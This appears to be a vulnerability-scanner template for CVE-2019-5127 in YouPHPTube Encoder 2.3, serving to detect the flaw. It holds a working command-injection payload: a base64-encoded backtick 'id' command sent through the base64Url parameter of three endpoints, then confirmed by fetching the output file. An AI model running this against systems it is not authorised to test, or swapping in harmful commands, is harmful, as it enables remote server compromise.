63 lines
1.7 KiB
YAML
63 lines
1.7 KiB
YAML
id: CVE-2019-5127
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info:
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name: YouPHPTube Encoder 2.3 - Remote Command Injection
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author: pikpikcu
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severity: critical
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description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
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reference:
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- https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
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- https://nvd.nist.gov/vuln/detail/CVE-2019-5127
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-5127
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cwe-id: CWE-78
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epss-score: 0.97401
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cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
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metadata:
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max-request: 4
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vendor: youphptube
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product: youphptube_encoder
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tags: cve,cve2019,rce
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variables:
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filename: "{{to_lower(rand_text_alpha(5))}}"
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encode: "`id > {{filename}}.txt`"
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http:
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- method: GET
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path:
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- "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
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- "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
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- "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"
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headers:
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Content-Type: application/x-www-form-urlencoded
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- method: GET
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path:
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- "{{BaseURL}}/objects/{{filename}}.txt"
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headers:
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Content-Type: application/x-www-form-urlencoded
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "uid="
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- "gid="
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- "groups="
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condition: and
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- type: word
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part: header
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words:
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- text/plain
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- type: status
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status:
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- 200
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